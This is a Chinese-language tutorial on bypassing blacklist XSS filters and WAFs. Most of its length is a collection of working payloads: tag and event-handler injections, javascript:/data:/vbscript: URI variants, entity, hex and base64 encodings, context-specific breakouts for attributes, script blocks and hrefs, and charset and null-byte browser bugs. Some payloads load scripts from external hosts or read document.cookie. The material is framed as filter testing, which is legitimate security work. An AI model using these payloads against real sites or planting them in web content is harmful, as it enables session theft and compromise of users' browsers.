

Bypass xss 过滤的测试方法

Bypassing 黑名单

大多数的场所是用的黑名单来做过滤器的，有三种方式绕过黑名单的测试：

- 1、暴力测试（输入大量的 payload，看返回结果）
- 2、根据正则推算
- 3、利用浏览器 bug

1. 初步测试

尝试插入比较正常的 HTML 标签，例如：，<i>，<u>来看一下返回页面的情况是怎样的，是否被 HTML 编码了，或者标签被过滤了。

尝试插入不闭合的标签，例如：<b，<i，<u，<marquee 然后看一下返回响应，是否对开放的标签也有过滤。

然后测试几个 XSS 的 payload，基本所有的 xss 过滤器都会进行过滤的：

```
<script>alert(1);</script>
<script>prompt(1);</script>
<script>confirm(1);</script>
<scriptsrc="http://rhainfosec.com/evil.js">
```

看返回响应，是过滤的全部，还是只过滤了部分，是否还留下了

alert,prompt,confirm 字符，再尝试大小写的组合：

```
<scRiPt>alert(1);</scrIPt>
```

如果过滤器仅仅是把<script>和</script>标签过滤掉，那么可以用

```
<scr<script>ipt>alert(1)</scr<script>ipt>
```

的方式来绕过，这样当<script>标签被过滤掉，剩下的组合起来刚好形成一个完整的 payload。

用<a href 标签来测试，看返回响应

```
<a href="http://www.google.com">Clickme</a>
```

<a 标签是否被过滤 href 是否被过滤 href 里的数据是否被过滤，如果没有被过滤，插入 javascript 协议看看

```
<a href="javascript:alert(1)">Clickme</a>
```

是否返回错误 javascript 的整个协议内容是否都被过滤掉，还是只过滤了 javascript 字符，尝试下大小写转换

继续测试事件触发执行 javascript:

```
<a href="rhainfosec.com" onmouseover=alert(1)>ClickHere</a>
```

看 onmouseover 事件是否被过滤。测试一个无效的事件，看过滤规则：

```
<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>
```

是完整的返回了呢，还是跟 onmouseover 一样被干掉了。

如果是完整的返回的话呢，那么意味着，做了事件的黑名单，但是在 HTML5 中，有超过 150 种的方式来执行 javascript 代码的事件测试一个很少见的事件：

```
<body/onhashchange=alert(1)><a href=#>clickit
```

1.1. 测试其他标签

接下来测试其他的标签跟属性

Src 属性

```
<img src=x onerror=prompt(1);>  
<img/src=aaa.jpg onerror=prompt(1);>  
<video src=x onerror=prompt(1);>  
<audio src=x onerror=prompt(1);>
```

iframe 标签

```
<iframe src="javascript:alert(2)">  
<iframe/src="data:text&sol;html;&Tab;base64&NewLine,,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
```

embed 标签

```
<embed/src=//goo.gl/nlX0P>
```

action 属性

利用<form , <isindex 等标签中的 action 属性执行 javascript

```
<form action="Javascript:alert(1)"> <input type=submit>  
<isindex action="javascript:alert(1)" type=image>  
<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>  
<isindex action=data:text/html, type=image>  
<formaction='data:text&sol;html,&lt;script&gt;alert(1)&lt;/script&gt;'> <button>CLICK
```

formation 属性

```
<isindexformation="javascript:alert(1)" type=image>  
<input type="image" formation=JaVaScript:alert(0)>  
<form> <button formation=javascript&colon;alert(1)>CLICKME
```

background 属性

```
<table background=javascript:alert(1)> </table> // 在 Opera 10.5 和  
IE6 上有效
```

poster 属性

```
<video poster=javascript:alert(1)//> </video> // Opera 10.5 以下有效
```

data 属性

```
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsb  
G8iKTs8L3NjcmlwdD4=">  
<object/data=//goo.gl/nlX0P?
```

code 属性

```
<applet code="javascript:confirm(document.cookie);"> // Firefox 有效  
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscrip  
taccess=always>
```

事件触发

```
<svg/onload=prompt(1);>  
<marquee/onstart=confirm(2)>/
```

```
<body onload=prompt(1);>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video><source onerror="javascript:alert(1)">
```

最短的测试向量

```
<q/onclick=open()>
<q/onclick=alert(1)> //在限制长度的地方很有效
```

嵌套

```
<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>
<bodylanguage=vbsonload=alert-1//IE8 有效
<command onmouseover
="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6
E\x3B\x63\x6F\x6E\x6 6\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x
26\x72\x70\x61\x72\x3B">Save</command> //IE8 有效
```

过滤括号的情况下

当括号被过滤的时候可以使用 throw 来绕过

```
<a onmouseover="javascript>window.onerror=alert;throw 1>
<img src=x onerror="javascript>window.onerror=alert;throw 1">
```

以上两个测试向量在 Chrome 跟 IE 在上面会出现一个 “uncaught” 的错误，可以用以下的向量：

```
<body/onload=javascript>window.onerror=eval;throw'=alert\x281\x29';
>
```

expression 属性

```
<img style="xss:expression(alert(0))"> // IE7 以下  
<div style="color:rgb('&#0;x:expression(alert(1))')"></div> // IE7 以下  
<style>#test{x:expression(alert(/XSS/))}</style> // IE7 以下
```

location 属性

```
<a onmouseover=location='javascript:alert(1)'>click  
<body onfocus="loaction='javascript:alert(1)'">123
```

其他的一些 payload

```
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">  
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)" />  
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascrip  
t:\u0061lert(1);"></g></svg>  
<svg xmlns:xlink="http://www.w3.org/1999/xlink"><a><circle r=10  
0 /><animate attributeName="xlink:href" values=";javascript:alert(1)  
" begin="0s" dur="0.1s" fill="freeze"/>  
<svg><![CDATA[><imagexlink:href=""]><img/src=xx:xonerror=alert  
(2)//"></svg>  
<meta content="&NewLine; 1 &NewLine;;JAVASCRIPT&colon; alert  
(1)" http-equiv="refresh"/>  
<math><a xlink:href="//jsfiddle.net/t846h/">click
```

当 = () ; : 被过滤时

```
<svg><script>alert&#40;/1/&#41</script> // 通杀所有浏览器
```

opera 中可以不闭合

```
<svg><script>alert`1` // Opera 可查
```

1.2. 实体编码

很多情况下 WAF 会实体编码用户的输入数据，

javascript 是一个很灵活的语言，可以使用很多编码，比如十六进制，

Unicode 和 HTML。但是也对这些编码可以用在哪个位置有规定：

属性：

```
href=  
action=  
formaction=  
location=  
on*=  
name=  
background=  
poster=  
src=  
code=
```

支持的编码方式：HTML，八进制，十进制，十六进制和 Unicode

属性：

```
data=
```

支持的编码：base64

2. 基于上下文的过滤

WAF 最大的问题，在于不知道输出的位置的上下文，导致根据具体环境可以绕过。

输入在属性里

```
<input value="XSStest" type=text>
```

可控位置为 XSStest，可以使用

```
"><img src=x onerror=prompt(0);>
```

如果< >被过滤的话可以换成

```
" autofocus onfocus=alert(1)//
```

同样还有很多其他的 payload：

```
"onmouseover=" prompt(0)x="
"onfocusin=alert(1) autofocusx="
" onfocusout=alert(1) autofocus x="
"onblur=alert(1) autofocus a="
```

输入在 script 标签中

例如：

```
<script>
Var x="Input";
</script>
```

可控位置在 Input，可以闭合 script 标签插入代码，但是同样我们仅仅闭合双引号就可以执行 js 代码了

```
";alert(1)//
```


最终结果就是

```
<script>  
Var x="";alert(1)//  
</script>
```

非常规的事件监听

例如：

```
";document.body.addEventListener("DOMActivate",alert(1))//  
";document.body.addEventListener("DOMActivate",prompt(1))//  
";document.body.addEventListener("DOMActivate",confirm(1))//
```

下面是一些相同的类：

```
DOMAttrModified  
DOMCharacterDataModified  
DOMFocusIn  
DOMFocusOut  
DOMMouseScroll  
DOMNodeInserted  
DOMNodeInsertedIntoDocument  
DOMNodeRemoved  
DOMNodeRemovedFromDocument  
DOMSubtreeModified
```

HREF 内容可控

例如：

```
<a href="Userinput">Click</a>
```

可控的是 Userinput 那里我们需要做的只是把 javascript 代码输入就好

了：

```
javascript:alert(1)//
```

最后组合为：

```
<a href="javascript:alert(1)//">Click</a>
```

变换

使用 HTML 实体 URL 编码绕过黑名单，href 里会自动实体解码，如果都失败了，可以尝试使用 vbscript 在 IE10 以下都有效，或者使用 data 协议。

JavaScript 变换

使用 javascript 协议时可使用的例子：

```
javascript&#00058;alert(1)
javaSCRIPT&colon;alert(1)
JaVaScRipT:alert(1)
javas&Tab;cript:\u0061lert(1);
javascript:\u0061lert&#x28;1&#x29
javascript&#x3A;alert&lpar;document&period;cookie&rpar;
```

Vbscript 变换

```
vbscript:alert(1);
vbscript&#00058;alert(1);
vbscr&Tab;ipt:alert(1)"
Data URI
```

```
data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwwc2NyaXB0Pg==
```

JSON

当你的输入会在 encodeURIComponent 当中显示出来的时候，很容易插入 xss 代码了

```
encodeURIComponent('userinput')
```

userinput 处可控，测试代码：

```
-alert(1)-  
-prompt(1)-  
-confirm(1)-
```

最终结果：

```
encodeURIComponent("-alert(1)-")  
encodeURIComponent("-prompt(1)-")
```

SVG 标签

当返回结果在 svg 标签中的时候，会有一个特性

```
<svg> <script>varmyvar="YourInput";</script> </svg>
```

YourInput 可控，输入

```
www.site.com/test.php?var=text";alert(1)//
```

如果把"编码一些他仍然能够执行:

```
<svg> <script>varmyvar="text";alert(1)//";</script> </svg>
```

浏览器 bug

字符集的 bug 在 IE 中出现过很多次，第一个就是 UTF-7，但是这个只在之前的版本中可用，现在讨论一个在现在的浏览器当中可以执行的 javascript。

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v=XSS
```

这个页面当中我们可控当前页面的字符集，当我们常规的测试时：

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-8&v="><img src=x onerror=prompt(0);>
```

返回结果可以看到双引号被编码了：

```
<html>
<meta charset="utf-8"></meta>
<body>
<input type="text" value="&quot;&gt;&lt;img
src=x onerror=prompt(0);&gt;"></input>
</body>
</html>
```

设置字符集为 UTF-32：

```
http://xsst.sinaapp.com/utf-32-1.php?charset=utf-32&v=%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
```

上面这个在 IE9 及以下版本可以执行成功。

利用 0 字节绕过：

```
<scri%00pt>alert(1);</scri%00pt>
<scri\x00pt>alert(1);</scri%00pt>
```

```
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t>
```

在 IE9 及以下版本有效。